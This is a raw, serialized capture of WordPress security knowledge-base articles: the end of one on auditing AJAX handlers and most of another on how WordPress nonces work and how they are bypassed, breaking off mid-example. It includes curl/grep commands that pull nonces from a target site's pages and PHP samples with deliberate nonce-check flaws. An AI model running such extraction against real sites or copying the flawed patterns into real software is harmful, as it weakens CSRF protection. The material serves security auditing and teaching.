(",[33,4553,4554],{},"\u002Fwp-json\u002F",[2709,4556,4557,4560],{},[33,4558,4559],{},"wp-login.php"," actions",[2709,4562,4563,4566,4567,4570],{},[33,4564,4565],{},"init"," hook with ",[33,4568,4569],{},"$_REQUEST['action']"," checks",[26,4572,4574],{"className":28,"code":4573,"language":30,"meta":31,"style":31},"# Find plugins that handle requests directly (not via admin-ajax.php)\ngrep -rn \"\\$_POST\\|\\$_GET\\|\\$_REQUEST\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002F \\\n  --include=\"*.php\" -l | xargs grep -l \"defined.*ABSPATH.*exit\\|die\"\n\n# Find files that check for their own request parameters on init\ngrep -rn \"add_action.*init\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002F \\\n  --include=\"*.php\" -A5 | grep -A4 \"\\$_GET\\|\\$_POST\\|\\$_REQUEST\"\n",[33,4575,4576,4581,4609,4629,4633,4638,4651],{"__ignoreMap":31},[36,4577,4578],{"class":38,"line":39},[36,4579,4580],{"class":42},"# Find plugins that handle requests directly (not via admin-ajax.php)\n",[36,4582,4583,4585,4587,4589,4592,4595,4597,4600,4602,4605,4607],{"class":38,"line":46},[36,4584,490],{"class":49},[36,4586,493],{"class":95},[36,4588,625],{"class":53},[36,4590,4591],{"class":95},"\\$",[36,4593,4594],{"class":53},"_POST\\|",[36,4596,4591],{"class":95},[36,4598,4599],{"class":53},"_GET\\|",[36,4601,4591],{"class":95},[36,4603,4604],{"class":53},"_REQUEST\"",[36,4606,499],{"class":53},[36,4608,155],{"class":95},[36,4610,4611,4613,4615,4617,4619,4622,4624,4626],{"class":38,"line":57},[36,4612,586],{"class":95},[36,4614,540],{"class":53},[36,4616,591],{"class":95},[36,4618,103],{"class":102},[36,4620,4621],{"class":49}," xargs",[36,4623,617],{"class":53},[36,4625,591],{"class":95},[36,4627,4628],{"class":53}," \"defined.*ABSPATH.*exit\\|die\"\n",[36,4630,4631],{"class":38,"line":64},[36,4632,61],{"emptyLinePlaceholder":60},[36,4634,4635],{"class":38,"line":70},[36,4636,4637],{"class":42},"# Find files that check for their own request parameters on init\n",[36,4639,4640,4642,4644,4647,4649],{"class":38,"line":78},[36,4641,490],{"class":49},[36,4643,493],{"class":95},[36,4645,4646],{"class":53}," \"add_action.*init\"",[36,4648,499],{"class":53},[36,4650,155],{"class":95},[36,4652,4653,4655,4657,4660,4662,4664,4667,4669,4671,4673,4675,4677,4679],{"class":38,"line":83},[36,4654,586],{"class":95},[36,4656,540],{"class":53},[36,4658,4659],{"class":95}," -A5",[36,4661,103],{"class":102},[36,4663,617],{"class":49},[36,4665,4666],{"class":95}," -A4",[36,4668,625],{"class":53},[36,4670,4591],{"class":95},[36,4672,4599],{"class":53},[36,4674,4591],{"class":95},[36,4676,4594],{"class":53},[36,4678,4591],{"class":95},[36,4680,4681],{"class":53},"_REQUEST\"\n",[18,4683,4685],{"id":4684},"security-checklist-for-auditing-ajax-handlers","Security Checklist for Auditing AJAX Handlers",[14,4687,4688],{},"When reviewing an AJAX handler, check:",[2706,4690,4691,4697,4707,4713,4716,4719,4722,4725],{},[2709,4692,4693,4694,4696],{},"Is the handler registered with ",[33,4695,3438],{},"? If so, can unauthenticated users cause harm?",[2709,4698,4699,4700,1822,4703,4706],{},"Does the handler call ",[33,4701,4702],{},"check_ajax_referer()",[33,4704,4705],{},"wp_verify_nonce()"," early?",[2709,4708,4699,4709,4712],{},[33,4710,4711],{},"current_user_can()"," with the appropriate capability?",[2709,4714,4715],{},"Are all POST\u002FGET parameters sanitized before database queries?",[2709,4717,4718],{},"Are all output values properly escaped before echoing?",[2709,4720,4721],{},"Does the handler perform file operations? If so, are paths validated?",[2709,4723,4724],{},"Does the handler make server-side HTTP requests based on user input (SSRF)?",[2709,4726,4727,4728,4730],{},"Does the handler ",[33,4729,2866],{}," at the end, or does execution fall through?",[26,4732,4734],{"className":28,"code":4733,"language":30,"meta":31,"style":31},"# Grep pattern to find handlers missing nonce checks\n# (finds function definitions that don't contain check_ajax_referer or wp_verify_nonce)\ngrep -rP \"add_action\\s*\\(\\s*['\\\"]wp_ajax_\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fmy-plugin\u002F \\\n  --include=\"*.php\" -n\n\n# For each function found, verify it contains a nonce check\ngrep -A 30 \"function my_handler_function\" \u002Fpath\u002Fto\u002Fplugin\u002Ffile.php | \\\n  grep -c \"check_ajax_referer\\|wp_verify_nonce\"\n",[33,4735,4736,4741,4746,4763,4771,4775,4780,4799],{"__ignoreMap":31},[36,4737,4738],{"class":38,"line":39},[36,4739,4740],{"class":42},"# Grep pattern to find handlers missing nonce checks\n",[36,4742,4743],{"class":38,"line":46},[36,4744,4745],{"class":42},"# (finds function definitions that don't contain check_ajax_referer or wp_verify_nonce)\n",[36,4747,4748,4750,4752,4754,4756,4758,4761],{"class":38,"line":57},[36,4749,490],{"class":49},[36,4751,574],{"class":95},[36,4753,2950],{"class":53},[36,4755,1498],{"class":95},[36,4757,2955],{"class":53},[36,4759,4760],{"class":53}," \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fmy-plugin\u002F",[36,4762,155],{"class":95},[36,4764,4765,4767,4769],{"class":38,"line":64},[36,4766,586],{"class":95},[36,4768,540],{"class":53},[36,4770,2906],{"class":95},[36,4772,4773],{"class":38,"line":70},[36,4774,61],{"emptyLinePlaceholder":60},[36,4776,4777],{"class":38,"line":78},[36,4778,4779],{"class":42},"# For each function found, verify it contains a nonce check\n",[36,4781,4782,4784,4786,4789,4792,4795,4797],{"class":38,"line":83},[36,4783,490],{"class":49},[36,4785,2508],{"class":95},[36,4787,4788],{"class":95}," 30",[36,4790,4791],{"class":53}," \"function my_handler_function\"",[36,4793,4794],{"class":53}," \u002Fpath\u002Fto\u002Fplugin\u002Ffile.php",[36,4796,103],{"class":102},[36,4798,155],{"class":95},[36,4800,4801,4803,4805],{"class":38,"line":89},[36,4802,552],{"class":49},[36,4804,164],{"class":95},[36,4806,4807],{"class":53}," \"check_ajax_referer\\|wp_verify_nonce\"\n",[2645,4809,4810],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}",{"title":31,"searchDepth":46,"depth":46,"links":4812},[4813,4814,4815,4816,4821,4829,4830,4831,4832,4833,4834],{"id":2693,"depth":46,"text":2694},{"id":2801,"depth":46,"text":2802},{"id":2873,"depth":46,"text":2874},{"id":3180,"depth":46,"text":3181,"children":4817},[4818,4819,4820],{"id":3184,"depth":57,"text":3185},{"id":3250,"depth":57,"text":3251},{"id":3341,"depth":57,"text":3342},{"id":3423,"depth":46,"text":3424,"children":4822},[4823,4824,4825,4826,4827,4828],{"id":3427,"depth":57,"text":3428},{"id":3529,"depth":57,"text":3530},{"id":3628,"depth":57,"text":3629},{"id":3683,"depth":57,"text":3684},{"id":3864,"depth":57,"text":3865},{"id":3915,"depth":57,"text":3916},{"id":3985,"depth":46,"text":3986},{"id":4147,"depth":46,"text":4148},{"id":4243,"depth":46,"text":4244},{"id":4437,"depth":46,"text":4438},{"id":4536,"depth":46,"text":4537},{"id":4684,"depth":46,"text":4685},"How wp_ajax and wp_ajax_nopriv hooks work, finding AJAX handlers, and exploiting common AJAX security vulnerabilities",{},"\u002Fknowledge-base\u002Fwordpress-ajax-hooks-and-security",{"title":2682,"description":4835},"knowledge-base\u002Fwordpress-ajax-hooks-and-security","Hv4Wer_gG43jyRGuy2bwqx34brYKfTifkWSqLywS_uk",{"id":4842,"title":4843,"body":4844,"category":2671,"description":7426,"extension":2673,"meta":7427,"navigation":60,"order":46,"path":7428,"seo":7429,"stem":7430,"__hash__":7431},"knowledgeBase\u002Fknowledge-base\u002Fwordpress-nonces-and-bypasses.md","WordPress Nonces and Bypass Techniques",{"type":7,"value":4845,"toc":7393},[4846,4849,4852,4856,4859,4892,4895,4906,4910,4916,4977,4980,5012,5016,5022,5046,5053,5064,5067,5154,5157,5175,5179,5183,5186,5215,5218,5300,5304,5307,5342,5404,5408,5432,5436,5475,5513,5517,5521,5524,5605,5613,5664,5668,5671,5736,5738,5810,5814,5866,5869,5908,5912,5945,5984,5988,6026,6029,6066,6070,6108,6136,6140,6147,6181,6187,6198,6279,6283,6729,6733,6736,6803,6829,6833,6836,6888,6892,6986,6989,6993,7000,7004,7021,7029,7036,7040,7047,7127,7130,7145,7151,7155,7158,7211,7214,7238,7242,7245,7251,7258,7262,7265,7309,7319,7323,7329,7347,7350,7364,7368,7390],[10,4847,4843],{"id":4848},"wordpress-nonces-and-bypass-techniques",[14,4850,4851],{},"WordPress nonces are frequently misunderstood. They are not cryptographic nonces (number used once) - they are time-limited CSRF tokens that can be reused within their validity window. Understanding their internals is essential for identifying bypass vulnerabilities.",[18,4853,4855],{"id":4854},"what-wordpress-nonces-actually-are","What WordPress Nonces Actually Are",[14,4857,4858],{},"The WordPress documentation calls them \"nonces\" but they function as CSRF tokens with a 12-24 hour validity window. Key properties:",[4209,4860,4861,4868,4874,4880,4886],{},[2709,4862,4863,4867],{},[4864,4865,4866],"strong",{},"Reusable",": The same nonce is valid for up to 24 hours and can be used multiple times",[2709,4869,4870,4873],{},[4864,4871,4872],{},"Time-based",": Generated from the current time tick (12-hour windows)",[2709,4875,4876,4879],{},[4864,4877,4878],{},"User-bound",": Tied to the current user ID (or 0 for unauthenticated)",[2709,4881,4882,4885],{},[4864,4883,4884],{},"Action-bound",": Tied to a specific action string",[2709,4887,4888,4891],{},[4864,4889,4890],{},"Not truly random",": Deterministic given the inputs",[14,4893,4894],{},"A WordPress nonce is NOT:",[4209,4896,4897,4900,4903],{},[2709,4898,4899],{},"A one-time token (it can be used repeatedly)",[2709,4901,4902],{},"A cryptographic secret (it is derived from predictable inputs)",[2709,4904,4905],{},"Protection against replay attacks within its validity window",[18,4907,4909],{"id":4908},"internal-implementation","Internal Implementation",[14,4911,4912,4913,375],{},"The nonce generation function in ",[33,4914,4915],{},"wp-includes\u002Ffunctions.php",[26,4917,4919],{"className":177,"code":4918,"language":179,"meta":31,"style":31},"function wp_create_nonce( $action = -1 ) {\n    $user = wp_get_current_user();\n    $uid  = (int) $user->ID;\n    if ( ! $uid ) {\n        $uid = apply_filters( 'nonce_user_logged_out', $uid, $action );\n    }\n\n    $token = wp_get_session_token();\n    $i     = wp_nonce_tick( $action );\n\n    return substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );\n}\n",[33,4920,4921,4926,4931,4936,4941,4946,4950,4954,4959,4964,4968,4973],{"__ignoreMap":31},[36,4922,4923],{"class":38,"line":39},[36,4924,4925],{},"function wp_create_nonce( $action = -1 ) {\n",[36,4927,4928],{"class":38,"line":46},[36,4929,4930],{},"    $user = wp_get_current_user();\n",[36,4932,4933],{"class":38,"line":57},[36,4934,4935],{},"    $uid  = (int) $user->ID;\n",[36,4937,4938],{"class":38,"line":64},[36,4939,4940],{},"    if ( ! $uid ) {\n",[36,4942,4943],{"class":38,"line":70},[36,4944,4945],{},"        $uid = apply_filters( 'nonce_user_logged_out', $uid, $action );\n",[36,4947,4948],{"class":38,"line":78},[36,4949,1622],{},[36,4951,4952],{"class":38,"line":83},[36,4953,61],{"emptyLinePlaceholder":60},[36,4955,4956],{"class":38,"line":89},[36,4957,4958],{},"    $token = wp_get_session_token();\n",[36,4960,4961],{"class":38,"line":115},[36,4962,4963],{},"    $i     = wp_nonce_tick( $action );\n",[36,4965,4966],{"class":38,"line":133},[36,4967,61],{"emptyLinePlaceholder":60},[36,4969,4970],{"class":38,"line":138},[36,4971,4972],{},"    return substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );\n",[36,4974,4975],{"class":38,"line":144},[36,4976,323],{},[14,4978,4979],{},"The nonce is the last 10 characters of an HMAC-SHA256 hash (truncated). The inputs are:",[4209,4981,4982,4987,4992,4998],{},[2709,4983,4984,4986],{},[33,4985,1380],{},": The current tick number (changes every 12 hours)",[2709,4988,4989,4991],{},[33,4990,2797],{},": The action string",[2709,4993,4994,4997],{},[33,4995,4996],{},"$uid",": The current user's ID",[2709,4999,5000,5003,5004,5007,5008,5011],{},[33,5001,5002],{},"$token",": The user's session token (from ",[33,5005,5006],{},"wp_usermeta"," table, ",[33,5009,5010],{},"session_tokens"," key)",[18,5013,5015],{"id":5014},"the-two-tick-system","The Two-Tick System",[14,5017,5018,5021],{},[33,5019,5020],{},"wp_nonce_tick()"," determines the current time bucket:",[26,5023,5025],{"className":177,"code":5024,"language":179,"meta":31,"style":31},"function wp_nonce_tick( $action = -1 ) {\n    $nonce_life = apply_filters( 'nonce_life', DAY_IN_SECONDS, $action );\n    return ceil( time() \u002F ( $nonce_life \u002F 2 ) );\n}\n",[33,5026,5027,5032,5037,5042],{"__ignoreMap":31},[36,5028,5029],{"class":38,"line":39},[36,5030,5031],{},"function wp_nonce_tick( $action = -1 ) {\n",[36,5033,5034],{"class":38,"line":46},[36,5035,5036],{},"    $nonce_life = apply_filters( 'nonce_life', DAY_IN_SECONDS, $action );\n",[36,5038,5039],{"class":38,"line":57},[36,5040,5041],{},"    return ceil( time() \u002F ( $nonce_life \u002F 2 ) );\n",[36,5043,5044],{"class":38,"line":64},[36,5045,323],{},[14,5047,5048,5049,5052],{},"With default ",[33,5050,5051],{},"nonce_life"," of 86400 seconds (24 hours):",[4209,5054,5055,5058,5061],{},[2709,5056,5057],{},"Each tick is 43200 seconds (12 hours)",[2709,5059,5060],{},"At any point, two ticks are valid: the current tick and the previous tick",[2709,5062,5063],{},"This means a nonce can be valid for up to 24 hours after creation",[14,5065,5066],{},"During verification, WordPress checks both the current tick and the previous tick:",[26,5068,5070],{"className":177,"code":5069,"language":179,"meta":31,"style":31},"function wp_verify_nonce( $nonce, $action = -1 ) {\n    \u002F\u002F ...\n    $i = wp_nonce_tick( $action );\n\n    \u002F\u002F Check current tick\n    $expected = substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );\n    if ( hash_equals( $expected, $nonce ) ) {\n        return 2; \u002F\u002F Valid, created in second half of period\n    }\n\n    \u002F\u002F Check previous tick\n    $expected = substr( wp_hash( ( $i - 1 ) . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );\n    if ( hash_equals( $expected, $nonce ) ) {\n        return 1; \u002F\u002F Valid, created in first half of period\n    }\n\n    return false;\n}\n",[33,5071,5072,5077,5081,5086,5090,5095,5100,5105,5110,5114,5118,5123,5128,5132,5137,5141,5145,5150],{"__ignoreMap":31},[36,5073,5074],{"class":38,"line":39},[36,5075,5076],{},"function wp_verify_nonce( $nonce, $action = -1 ) {\n",[36,5078,5079],{"class":38,"line":46},[36,5080,346],{},[36,5082,5083],{"class":38,"line":57},[36,5084,5085],{},"    $i = wp_nonce_tick( $action );\n",[36,5087,5088],{"class":38,"line":64},[36,5089,61],{"emptyLinePlaceholder":60},[36,5091,5092],{"class":38,"line":70},[36,5093,5094],{},"    \u002F\u002F Check current tick\n",[36,5096,5097],{"class":38,"line":78},[36,5098,5099],{},"    $expected = substr( wp_hash( $i . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );\n",[36,5101,5102],{"class":38,"line":83},[36,5103,5104],{},"    if ( hash_equals( $expected, $nonce ) ) {\n",[36,5106,5107],{"class":38,"line":89},[36,5108,5109],{},"        return 2; \u002F\u002F Valid, created in second half of period\n",[36,5111,5112],{"class":38,"line":115},[36,5113,1622],{},[36,5115,5116],{"class":38,"line":133},[36,5117,61],{"emptyLinePlaceholder":60},[36,5119,5120],{"class":38,"line":138},[36,5121,5122],{},"    \u002F\u002F Check previous tick\n",[36,5124,5125],{"class":38,"line":144},[36,5126,5127],{},"    $expected = substr( wp_hash( ( $i - 1 ) . '|' . $action . '|' . $uid . '|' . $token, 'nonce' ), -12, 10 );\n",[36,5129,5130],{"class":38,"line":158},[36,5131,5104],{},[36,5133,5134],{"class":38,"line":255},[36,5135,5136],{},"        return 1; \u002F\u002F Valid, created in first half of period\n",[36,5138,5139],{"class":38,"line":261},[36,5140,1622],{},[36,5142,5143],{"class":38,"line":267},[36,5144,61],{"emptyLinePlaceholder":60},[36,5146,5147],{"class":38,"line":273},[36,5148,5149],{},"    return false;\n",[36,5151,5152],{"class":38,"line":279},[36,5153,323],{},[14,5155,5156],{},"Return values:",[4209,5158,5159,5164,5170],{},[2709,5160,5161,5163],{},[33,5162,4483],{},": Nonce valid, generated in previous 12-hour window (older)",[2709,5165,5166,5169],{},[33,5167,5168],{},"2",": Nonce valid, generated in current 12-hour window (fresher)",[2709,5171,5172,5174],{},[33,5173,1821],{},": Invalid nonce",[18,5176,5178],{"id":5177},"how-plugins-expose-nonces","How Plugins Expose Nonces",[684,5180,5182],{"id":5181},"via-wp_localize_script","Via wp_localize_script",[14,5184,5185],{},"The most common way to pass nonces to JavaScript:",[26,5187,5189],{"className":177,"code":5188,"language":179,"meta":31,"style":31},"wp_enqueue_script( 'my-plugin-script', plugin_dir_url(__FILE__) . 'js\u002Fscript.js', ['jquery'] );\nwp_localize_script( 'my-plugin-script', 'myPluginData', [\n    'ajax_url' => admin_url( 'admin-ajax.php' ),\n    'nonce'    => wp_create_nonce( 'my_plugin_nonce' ),\n] );\n",[33,5190,5191,5196,5201,5206,5211],{"__ignoreMap":31},[36,5192,5193],{"class":38,"line":39},[36,5194,5195],{},"wp_enqueue_script( 'my-plugin-script', plugin_dir_url(__FILE__) . 'js\u002Fscript.js', ['jquery'] );\n",[36,5197,5198],{"class":38,"line":46},[36,5199,5200],{},"wp_localize_script( 'my-plugin-script', 'myPluginData', [\n",[36,5202,5203],{"class":38,"line":57},[36,5204,5205],{},"    'ajax_url' => admin_url( 'admin-ajax.php' ),\n",[36,5207,5208],{"class":38,"line":64},[36,5209,5210],{},"    'nonce'    => wp_create_nonce( 'my_plugin_nonce' ),\n",[36,5212,5213],{"class":38,"line":70},[36,5214,413],{},[14,5216,5217],{},"This embeds the nonce in the page HTML as a JavaScript variable. Anyone who can load the page can extract the nonce.",[26,5219,5221],{"className":28,"code":5220,"language":30,"meta":31,"style":31},"# Extract nonces from page source\ncurl -s 'https:\u002F\u002Ftarget.example.com\u002F' | grep -oP '\"nonce\"\\s*:\\s*\"\\K[a-f0-9]{10}'\ncurl -s 'https:\u002F\u002Ftarget.example.com\u002F' | grep -oP 'nonce[\"\\s:]+\\K[a-f0-9]{10}'\n\n# Look for wp_localize_script output patterns\ncurl -s 'https:\u002F\u002Ftarget.example.com\u002Fsome-page\u002F' | \\\n  grep -oP 'var\\s+\\w+\\s*=\\s*\\{[^}]*nonce[^}]*\\}' | head -5\n",[33,5222,5223,5228,5246,5262,5266,5271,5283],{"__ignoreMap":31},[36,5224,5225],{"class":38,"line":39},[36,5226,5227],{"class":42},"# Extract nonces from page source\n",[36,5229,5230,5232,5234,5237,5239,5241,5243],{"class":38,"line":46},[36,5231,92],{"class":49},[36,5233,96],{"class":95},[36,5235,5236],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002F'",[36,5238,103],{"class":102},[36,5240,617],{"class":49},[36,5242,726],{"class":95},[36,5244,5245],{"class":53}," '\"nonce\"\\s*:\\s*\"\\K[a-f0-9]{10}'\n",[36,5247,5248,5250,5252,5254,5256,5258,5260],{"class":38,"line":57},[36,5249,92],{"class":49},[36,5251,96],{"class":95},[36,5253,5236],{"class":53},[36,5255,103],{"class":102},[36,5257,617],{"class":49},[36,5259,726],{"class":95},[36,5261,3382],{"class":53},[36,5263,5264],{"class":38,"line":64},[36,5265,61],{"emptyLinePlaceholder":60},[36,5267,5268],{"class":38,"line":70},[36,5269,5270],{"class":42},"# Look for wp_localize_script output patterns\n",[36,5272,5273,5275,5277,5279,5281],{"class":38,"line":78},[36,5274,92],{"class":49},[36,5276,96],{"class":95},[36,5278,3368],{"class":53},[36,5280,103],{"class":102},[36,5282,155],{"class":95},[36,5284,5285,5287,5289,5292,5294,5297],{"class":38,"line":83},[36,5286,552],{"class":49},[36,5288,726],{"class":95},[36,5290,5291],{"class":53}," 'var\\s+\\w+\\s*=\\s*\\{[^}]*nonce[^}]*\\}'",[36,5293,103],{"class":102},[36,5295,5296],{"class":49}," head",[36,5298,5299],{"class":95}," -5\n",[684,5301,5303],{"id":5302},"via-wp_nonce_field","Via wp_nonce_field",[14,5305,5306],{},"Embeds a hidden input field in forms:",[26,5308,5310],{"className":177,"code":5309,"language":179,"meta":31,"style":31},"\u002F\u002F In a form template\n\u003Cform method=\"post\">\n    \u003C?php wp_nonce_field( 'my_action', 'my_nonce_field' ); ?>\n    \u003C!-- Renders as: -->\n    \u003C!-- \u003Cinput type=\"hidden\" id=\"my_nonce_field\" name=\"my_nonce_field\" value=\"NONCE_VALUE\"> -->\n\u003C\u002Fform>\n",[33,5311,5312,5317,5322,5327,5332,5337],{"__ignoreMap":31},[36,5313,5314],{"class":38,"line":39},[36,5315,5316],{},"\u002F\u002F In a form template\n",[36,5318,5319],{"class":38,"line":46},[36,5320,5321],{},"\u003Cform method=\"post\">\n",[36,5323,5324],{"class":38,"line":57},[36,5325,5326],{},"    \u003C?php wp_nonce_field( 'my_action', 'my_nonce_field' ); ?>\n",[36,5328,5329],{"class":38,"line":64},[36,5330,5331],{},"    \u003C!-- Renders as: -->\n",[36,5333,5334],{"class":38,"line":70},[36,5335,5336],{},"    \u003C!-- \u003Cinput type=\"hidden\" id=\"my_nonce_field\" name=\"my_nonce_field\" value=\"NONCE_VALUE\"> -->\n",[36,5338,5339],{"class":38,"line":78},[36,5340,5341],{},"\u003C\u002Fform>\n",[26,5343,5345],{"className":28,"code":5344,"language":30,"meta":31,"style":31},"# Extract nonce from form field\ncurl -s 'https:\u002F\u002Ftarget.example.com\u002Fpage-with-form\u002F' | \\\n  grep -oP 'name=\"my_nonce_field\" value=\"\\K[a-f0-9]{10}'\n\n# General form nonce extraction\ncurl -s 'https:\u002F\u002Ftarget.example.com\u002Fpage-with-form\u002F' | \\\n  grep -oP 'type=\"hidden\"[^>]*value=\"\\K[a-f0-9]{10}'\n",[33,5346,5347,5352,5365,5374,5378,5383,5395],{"__ignoreMap":31},[36,5348,5349],{"class":38,"line":39},[36,5350,5351],{"class":42},"# Extract nonce from form field\n",[36,5353,5354,5356,5358,5361,5363],{"class":38,"line":46},[36,5355,92],{"class":49},[36,5357,96],{"class":95},[36,5359,5360],{"class":53}," 'https:\u002F\u002Ftarget.example.com\u002Fpage-with-form\u002F'",[36,5362,103],{"class":102},[36,5364,155],{"class":95},[36,5366,5367,5369,5371],{"class":38,"line":57},[36,5368,552],{"class":49},[36,5370,726],{"class":95},[36,5372,5373],{"class":53}," 'name=\"my_nonce_field\" value=\"\\K[a-f0-9]{10}'\n",[36,5375,5376],{"class":38,"line":64},[36,5377,61],{"emptyLinePlaceholder":60},[36,5379,5380],{"class":38,"line":70},[36,5381,5382],{"class":42},"# General form nonce extraction\n",[36,5384,5385,5387,5389,5391,5393],{"class":38,"line":78},[36,5386,92],{"class":49},[36,5388,96],{"class":95},[36,5390,5360],{"class":53},[36,5392,103],{"class":102},[36,5394,155],{"class":95},[36,5396,5397,5399,5401],{"class":38,"line":83},[36,5398,552],{"class":49},[36,5400,726],{"class":95},[36,5402,5403],{"class":53}," 'type=\"hidden\"[^>]*value=\"\\K[a-f0-9]{10}'\n",[684,5405,5407],{"id":5406},"via-rest-api-nonce-in-html-headers","Via REST API Nonce in HTML Headers",[26,5409,5411],{"className":177,"code":5410,"language":179,"meta":31,"style":31},"\u002F\u002F Some plugins pass nonces in HTTP headers\nadd_action( 'send_headers', function() {\n    header( 'X-WP-Nonce: ' . wp_create_nonce( 'wp_rest' ) );\n});\n",[33,5412,5413,5418,5423,5428],{"__ignoreMap":31},[36,5414,5415],{"class":38,"line":39},[36,5416,5417],{},"\u002F\u002F Some plugins pass nonces in HTTP headers\n",[36,5419,5420],{"class":38,"line":46},[36,5421,5422],{},"add_action( 'send_headers', function() {\n",[36,5424,5425],{"class":38,"line":57},[36,5426,5427],{},"    header( 'X-WP-Nonce: ' . wp_create_nonce( 'wp_rest' ) );\n",[36,5429,5430],{"class":38,"line":64},[36,5431,300],{},[684,5433,5435],{"id":5434},"via-wp_head-inline-scripts","Via wp_head \u002F Inline Scripts",[26,5437,5439],{"className":177,"code":5438,"language":179,"meta":31,"style":31},"add_action( 'wp_head', function() {\n    ?>\n    \u003Cscript>\n    var ajaxNonce = \"\u003C?php echo wp_create_nonce('my_action'); ?>\";\n    \u003C\u002Fscript>\n    \u003C?php\n});\n",[33,5440,5441,5446,5451,5456,5461,5466,5471],{"__ignoreMap":31},[36,5442,5443],{"class":38,"line":39},[36,5444,5445],{},"add_action( 'wp_head', function() {\n",[36,5447,5448],{"class":38,"line":46},[36,5449,5450],{},"    ?>\n",[36,5452,5453],{"class":38,"line":57},[36,5454,5455],{},"    \u003Cscript>\n",[36,5457,5458],{"class":38,"line":64},[36,5459,5460],{},"    var ajaxNonce = \"\u003C?php echo wp_create_nonce('my_action'); ?>\";\n",[36,5462,5463],{"class":38,"line":70},[36,5464,5465],{},"    \u003C\u002Fscript>\n",[36,5467,5468],{"class":38,"line":78},[36,5469,5470],{},"    \u003C?php\n",[36,5472,5473],{"class":38,"line":83},[36,5474,300],{},[26,5476,5478],{"className":28,"code":5477,"language":30,"meta":31,"style":31},"# Find inline nonces in wp_head output\ncurl -s 'https:\u002F\u002Ftarget.example.com\u002F' | grep -A2 -B2 'Nonce\\|nonce' | head -30\n",[33,5479,5480,5485],{"__ignoreMap":31},[36,5481,5482],{"class":38,"line":39},[36,5483,5484],{"class":42},"# Find inline nonces in wp_head output\n",[36,5486,5487,5489,5491,5493,5495,5497,5500,5503,5506,5508,5510],{"class":38,"line":46},[36,5488,92],{"class":49},[36,5490,96],{"class":95},[36,5492,5236],{"class":53},[36,5494,103],{"class":102},[36,5496,617],{"class":49},[36,5498,5499],{"class":95}," -A2",[36,5501,5502],{"class":95}," -B2",[36,5504,5505],{"class":53}," 'Nonce\\|nonce'",[36,5507,103],{"class":102},[36,5509,5296],{"class":49},[36,5511,5512],{"class":95}," -30\n",[18,5514,5516],{"id":5515},"common-nonce-bypass-patterns","Common Nonce Bypass Patterns",[684,5518,5520],{"id":5519},"bypass-1-wrong-action-string","Bypass 1: Wrong Action String",[14,5522,5523],{},"If the action string used during verification does not match the one used during creation, the nonce will still validate if another handler accepts it with the wrong action. This happens when developers reuse a generic nonce:",[26,5525,5527],{"className":177,"code":5526,"language":179,"meta":31,"style":31},"\u002F\u002F Plugin creates nonce for general use\nwp_create_nonce( 'my_plugin_general' );\n\n\u002F\u002F Handler A verifies with correct action\nfunction handler_a() {\n    wp_verify_nonce( $_POST['nonce'], 'my_plugin_general' ); \u002F\u002F Works\n}\n\n\u002F\u002F Handler B (the bug): uses a different action string to verify\n\u002F\u002F but was supposed to be more restrictive\nfunction handler_b() {\n    \u002F\u002F Developer intended 'my_plugin_delete' but used generic nonce\n    wp_verify_nonce( $_POST['nonce'], 'my_plugin_general' ); \u002F\u002F Still works!\n    \u002F\u002F Now performs privileged operation thinking it's properly scoped\n    delete_all_data();\n}\n",[33,5528,5529,5534,5539,5543,5548,5553,5558,5562,5566,5571,5576,5581,5586,5591,5596,5601],{"__ignoreMap":31},[36,5530,5531],{"class":38,"line":39},[36,5532,5533],{},"\u002F\u002F Plugin creates nonce for general use\n",[36,5535,5536],{"class":38,"line":46},[36,5537,5538],{},"wp_create_nonce( 'my_plugin_general' );\n",[36,5540,5541],{"class":38,"line":57},[36,5542,61],{"emptyLinePlaceholder":60},[36,5544,5545],{"class":38,"line":64},[36,5546,5547],{},"\u002F\u002F Handler A verifies with correct action\n",[36,5549,5550],{"class":38,"line":70},[36,5551,5552],{},"function handler_a() {\n",[36,5554,5555],{"class":38,"line":78},[36,5556,5557],{},"    wp_verify_nonce( $_POST['nonce'], 'my_plugin_general' ); \u002F\u002F Works\n",[36,5559,5560],{"class":38,"line":83},[36,5561,323],{},[36,5563,5564],{"class":38,"line":89},[36,5565,61],{"emptyLinePlaceholder":60},[36,5567,5568],{"class":38,"line":115},[36,5569,5570],{},"\u002F\u002F Handler B (the bug): uses a different action string to verify\n",[36,5572,5573],{"class":38,"line":133},[36,5574,5575],{},"\u002F\u002F but was supposed to be more 